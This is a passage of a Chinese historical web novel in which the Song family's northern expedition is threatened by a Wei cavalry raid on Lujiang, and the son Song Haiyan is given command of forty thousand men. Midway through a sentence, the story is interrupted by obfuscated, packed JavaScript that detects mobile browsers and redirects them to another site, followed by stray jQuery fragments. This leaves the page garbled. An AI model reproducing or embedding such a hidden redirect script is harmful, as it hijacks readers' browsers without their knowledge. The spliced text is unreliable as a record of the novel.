许昌郡距洛阳城二百五十里,为汉魏故都,昔年曹孟德迎汉献帝之所。晋室南迁之后,北方大地陷入十六国的混战泥沼,这片名为许地的沃土,先后历经后赵、前燕、前秦、后燕、后秦、西魏、北魏等诸多势力的更迭与占据,城头旗帜频繁变换,见证了无数的兴衰荣辱。
如今,许昌城头猎猎飘扬的,是彰显宋家军威的“宋”字大旗。
五月底,粮草具足之后,宋家大军从沈丘开拔,一路攻城拔寨,在两天前占领了这座洛阳东南方向最大的郡城。
大军将在许昌休整三日,继续西进鲁阳,与荆州都督何长龄率领的西路军会合,再挥师北上洛阳。
陆思明骑马出城,向西而行。未久,见到前方尘土飞扬,远方一骑驰如急电,那马颈鬃逆立如刀,蹄下弥漫成雾,转瞬便掠过大片荒原。
整个庐江军中,能驾驭这般快马之人,唯有宋海晏。
陆思明驻马,扬声高喊:“阿晏。”
片刻后,那匹枣红马停在陆思明身前,发出一声长嘶。宋海晏勒住马缰,面露惊讶之色:“思明,你怎会在此?”
两马并辔往许昌城而行。
陆思明道:“是舅父命我出城寻你,说是庐江方面来信,舅父让你尽快回营——”
“哦?”宋海晏脸上绽放笑颜:“碧棠又来信了?可知是什么事?”
陆思明皱着眉道:“舅父没说,但他看信后脸色不太好,命我出城寻你回去,估计不是什么好消息……”
宋海晏脸上笑容收敛,一夹马腹,人已在数丈以外。
陆思明一挥马鞭,急忙跟上,“阿晏,等等我——”
宋海晏进入中军主帐,见军中数位大将俱在,父亲宋寒章站在行军图前,面沉如水。
他单膝着地,拱手行礼道:“父亲。”
宋寒章抬手示意他起身,问道:“鲁阳那边情形如何?”
宋海晏答道:“孩儿见到了西路军驻守鲁阳的副将武元策将军,武将军称西路军已掌控从鲁阳到南阳一带之地。只是,中路大军在沈丘耽搁将近一月,北魏已在洛阳城南方构筑三道防线。其一,于嵩县、汝阳、汝州三座小城,各驻军近万,作为外围第一道防线;其二,在洛阳城南的伊川驻军五万,以便随时驰援嵩县、汝阳、汝州三城;其三则是在洛阳修筑工事,加强城防,以备坚守,洛阳守军数量尚不清楚。武将军认为,只要我军与西路军会合,互为犄角,突破前两道防线并非难事。”
他稍作停顿,又道:“武将军还说,何都督听闻我军攻下许昌,已在赶往鲁阳的途中,准备为父亲您接风洗尘。若无意外,三日后,我们便能见到阿舅了——”说到此处,宋海晏难掩兴奋之情。
江陵何氏虽然是荆楚大族,但这一代的嫡支只有何长龄和何秀龄兄妹俩人,兄妹俩人自幼感情极好。后来何秀龄嫁入庐江宋家,常常思念家乡,每年都会带几个孩子回江陵小住,短则一个月,长则小半年。
何长龄十分喜爱宋海晏这个外甥,曾亲自教他骑马射箭。操练军队时,也常带他一同前往。直至宋海晏十三岁后,常年征战在外,甚少前往江陵。算起来,宋海晏已有两年多未见到舅父。如今重逢在即,怎能不激动万分?
上首,宋寒章脸上并无欣悦之色,他眉头深拧成“川”字形,沉声道:“恐怕我军去不得鲁阳了——”
宋海晏脸色骤变,急切问道:“为何?”
宋寒章将一封书信置于案头,道:“刚收到碧棠传来的消息,北魏驻守邺城的大将拓跋雄率两万骑兵急速南下,五日前已抵达淮水以北,我军在淮水以北的两座要塞凤台、临远已然失守。如今庐江大军皆在许昌,一旦拓跋雄部渡过淮水,庐江危在旦夕,我宋家两百年基业也将毁于一旦。”
宋海晏展开书信,露出难以置信的神色:“怎会如此?按军报所言,齐栋率领的东路大军就在我军后方,他们为何未拦截拓跋雄的大军?”
宋寒章怒声道:“齐氏狼子野心,若不是他们在军粮一事上故意刁难,我军早已兵临洛阳城下,又怎会有今日之局。齐栋乃庸才,空占五兵尚书之位,军务上一塌糊涂,让他与拓跋雄的骑兵正面交锋,他怎敢——”他长叹一声,“我已决定,撤军回庐江,先迎战拓跋雄的大军。”
宋海晏心中一凉:“那北伐之事怎么办?我们中路撤军,又该如何向朝廷交代?”
他五月回过金陵,自然知晓朝廷上下对北伐寄予何等厚望。若中路大军一撤,西路的何长龄也只能撤军,士气一散,再难凝聚。
如今朝廷在这场大战中投入巨大,国库几近空虚,若是无功而返,恐怕十年内难以再组织大军北伐。而北伐失败,率先撤军的宋家必定会遭人诟病。
宋寒章又岂会不知其中利害,但庐江乃祖宗基业,实在无法弃之不顾。他站在行军图前,愁眉不展,再三踌躇,最终道:“无论如何,庐江是我宋家立足之本,万万不能有失。若能保住宋家基业,十年二十年之后,朝廷再有北伐之意,我宋家还能整军再次北上。若是失去庐江,我宋家将一无所有——”
宋海晏的心彻底沉入谷底。
他和阿幸有洛阳之约。十年二十年,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401166|180362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岁月蹉跎,红颜老矣,她能等他那么久吗?
此时,帐中将领有一人说道:“将军,末将有一言,不知当讲不当讲?”
说话之将领名为赵金镝,也是宋寒章的妹夫。赵家是淮南寿春的大族,与舒城陆家一样,依附宋家,世代通婚。宋寒章有两个妹妹,一个嫁入寿春赵家,一个嫁入舒城陆家。此番北伐,赵金镝为偏将军,率自家部曲五千人,在帐下听用。
宋寒章道:“金镝有说直说便是。”
赵金镝道:“依末将之见,北伐与庐江并非不可兼顾。”
宋寒章道:“如何兼顾?”
赵金镝道:“拓跋雄的骑兵有两万人,若在北方平地,确实难以对付。但淮南水系密布,骑兵优势难以发挥。寿春北临淮水,乃淮南第一道防线。我赵家这些年与北魏作战,在边境修筑了大量坞堡,若凭借坞堡坚守,两万人足以抵御拓跋雄的两万骑兵。如今我军有六万人,将军您不妨亲率两万大军,回庐江布防。少将军率领剩下的四万人,前往鲁阳与何将军会师,一同北上洛阳——”
宋寒章心中犹豫,道:“这如何使得,海晏到底年少,他从前只领过一千人,如何能指挥数万大军?”
一旁,陆思明之父陆元恺道:“将军,末将也觉得金镝所言有理。到了鲁阳,便可与荆州何都督的大军会合。何都督掌控荆州军事多年,经验老到,谋略过人,又是少将军的舅父,少将军若有不足之处,何将军自会在旁提点。少将军少年英武,能得军中上下信服,又有我等从旁辅佐,必定不会有事。”
宋寒章平日倚重赵金镝、陆元恺两位妹夫,对他们的建议向来十分重视。宋海晏见两人都反对直接撤军,心中又燃起一丝希望。
“父亲,海晏认为两位姑父所言极是。我军逼近洛阳,北魏皇帝拓跋睿必定下令让拓跋雄班师救援洛阳,如此一来,庐江之围自解。”宋海晏在帐前跪下,双手抱拳,恳切道,“恳请父亲允准海晏领军北上,海晏必定小心谨慎,但凡军事要务,必定先请教舅舅和诸位叔伯,然后再下令施行。”
宋寒章的目光从帐中诸将脸上一一扫过。听到宋海晏这番话,大多数人脸上都露出希望之色。宋寒章心中一叹,中原沦陷已两百年,若能收复洛阳,将来论功行赏,座中之人皆可飞黄腾达,光宗耀祖,他若强令撤军,难免诸将不满。
他再三权衡,最后看向跪立帐前的儿子,道:“宋海晏听令,命你暂替中军主帅之职,领四万兵马,与西路军会和,继续北伐。”
宋海晏一双眼绽放出曜然神采,声音铿锵:“是!”